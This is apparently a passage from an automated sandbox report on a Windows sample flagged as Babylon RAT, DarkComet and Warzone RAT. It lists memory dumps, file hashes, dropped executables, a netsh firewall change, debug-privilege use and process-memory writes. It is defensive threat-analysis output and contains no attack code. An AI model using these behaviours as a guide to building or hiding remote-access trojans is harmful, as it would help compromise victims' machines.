memory/300-3087-0x0000000000650000-0x0000000000658000-memory.dmp

memory/1764-3002-0x0000000000400000-0x0000000002DE1000-memory.dmp

memory/2904-3187-0x00000000043A0000-0x00000000043F6000-memory.dmp

memory/1688-3192-0x0000000000140000-0x0000000000141000-memory.dmp

memory/1280-3555-0x0000000000400000-0x000000000300E000-memory.dmp

memory/4088-3724-0x0000000002380000-0x00000000025EB000-memory.dmp

memory/3064-4047-0x0000000000800000-0x0000000000840000-memory.dmp

memory/3064-4046-0x0000000000770000-0x00000000007C2000-memory.dmp

memory/3064-4444-0x0000000000840000-0x000000000086D000-memory.dmp

memory/1656-4634-0x0000000000400000-0x00000000004A0000-memory.dmp

memory/3664-4629-0x0000000000080000-0x00000000000D2000-memory.dmp

memory/3664-4627-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

memory/3664-4623-0x0000000000080000-0x00000000000D2000-memory.dmp

memory/1688-4639-0x0000000000140000-0x0000000000141000-memory.dmp

memory/3664-4621-0x0000000000080000-0x00000000000D2000-memory.dmp

memory/3664-4631-0x0000000000080000-0x00000000000D2000-memory.dmp

C:\Users\Admin\qnodejs-node-v13.13.0-win-x64.tmp232084127720\node-v13.13.0-win-x64\node_modules\npm\docs\public\cli-commands\npm-bugs\index.html

MD5	d0fcb234527b62597027adfe909a58d1
SHA1	e46877bfb15bbdb029aaa7777b952b3b30b0695c
SHA256	fa6dae131ec446c7a489fff6ef3d6952f8e34cf113eb3df7c8c643697492f617
SHA512	c7850e31c0a7cdd810fa778400a519d5ce34499fa8f660aac5288a88b72badefbb2e657fda3db9260ea442b7b930da1011b181b101d117410428af04fc0e78a1

memory/3720-7450-0x0000000000270000-0x0000000000284000-memory.dmp

memory/3720-7449-0x0000000000B10000-0x0000000000BBC000-memory.dmp

memory/3764-11238-0x0000000000400000-0x0000000000452000-memory.dmp

Analysis: behavioral17

Detonation Overview

Submitted

2024-07-01 18:03

Reported

2024-07-01 18:14

Platform

win7-20240419-en

Max time kernel

26s

Max time network

160s

Command Line

"C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761.exe"

Signatures

Babylon RAT

trojan babylonrat

Darkcomet

trojan rat darkcomet

WarzoneRat, AveMaria

rat infostealer warzonerat

Warzone RAT payload

rat

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Modifies Windows Firewall

evasion

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\netsh.exe	N/A

Executes dropped EXE

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\q4eVFW3vAIxa0HLp.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\xeMZgfB5nxDydB8X.exe	N/A

Loads dropped DLL

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761.exe	N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 2752 wrote to memory of 2712	N/A	C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761.exe	C:\Users\Admin\AppData\Local\Temp\q4eVFW3vAIxa0HLp.exe
PID 2752 wrote to memory of 2712	N/A	C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761.exe	C:\Users\Admin\AppData\Local\Temp\q4eVFW3vAIxa0HLp.exe
PID 2752 wrote to memory of 2712	N/A	C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761.exe	C:\Users\Admin\AppData\Local\Temp\q4eVFW3vAIxa0HLp.exe
PID 2752 wrote to memory of 2712	N/A	C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761.exe	C:\Users\Admin\AppData\Local\Temp\q4eVFW3vAIxa0HLp.exe
PID 2752 wrote to memory of 2588	N/A	C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761.exe	C:\Users\Admin\AppData\Local\Temp\bxBATg03o3QUdqvY.exe
PID 2752 wrote to memory of 2588	N/A	C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761.exe	C:\Users\Admin\AppData\Local\Temp\bxBATg03o3QUdqvY.exe
PID 2752 wrote to memory of 2588	N/A	C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761.exe	C:\Users\Admin\AppData\Local\Temp\bxBATg03o3QUdqvY.exe
PID 2752 wrote to memory of 2588	N/A	C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761.exe	C:\Users\Admin\AppData\Local\Temp\bxBATg03o3QUdqvY.exe
PID 2752 wrote to memory of 2968	N/A	C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761.exe	C:\Users\Admin\AppData\Local\Temp\xeMZgfB5nxDydB8X.exe
PID 2752 wrote to memory of 2968	N/A	C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761.exe	C:\Users\Admin\AppData\Local\Temp\xeMZgfB5nxDydB8X.exe
PID 2752 wrote to memory of 2968	N/A	C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761.exe	C:\Users\Admin\AppData\Local\Temp\xeMZgfB5nxDydB8X.exe
PID 2752 wrote to memory of 2968	N/A	C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761.exe	C:\Users\Admin\AppData\Local\Temp\xeMZgfB5nxDydB8X.exe

Processes

C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761.exe

"C:\Users\Admin\AppData\Local\Temp\42f972925508a82236e8533567487761.exe"

C:\Users\Admin\AppData\Local\Temp\q4eVFW3vAIxa0HLp.exe

"C:\Users\Admin\AppData\Local\Temp\q4eVFW3vAIxa0HLp.exe"

C:\Users\Admin\AppData\Local\Temp\bxBATg03o3QUdqvY.exe

"C:\Users\Admin\AppData\Local\Temp\bxBATg03o3QUdqvY.exe"

C:\Users\Admin\AppData\Local\Temp\xeMZgfB5nxDydB8X.exe

"C:\Users\Admin\AppData\Local\Temp\xeMZgfB5nxDydB8X.exe"

C:\Users\Admin\AppData\Local\Temp\n3qmSmtceUHgwydu.exe

"C:\Users\Admin\AppData\Local\Temp\n3qmSmtceUHgwydu.exe"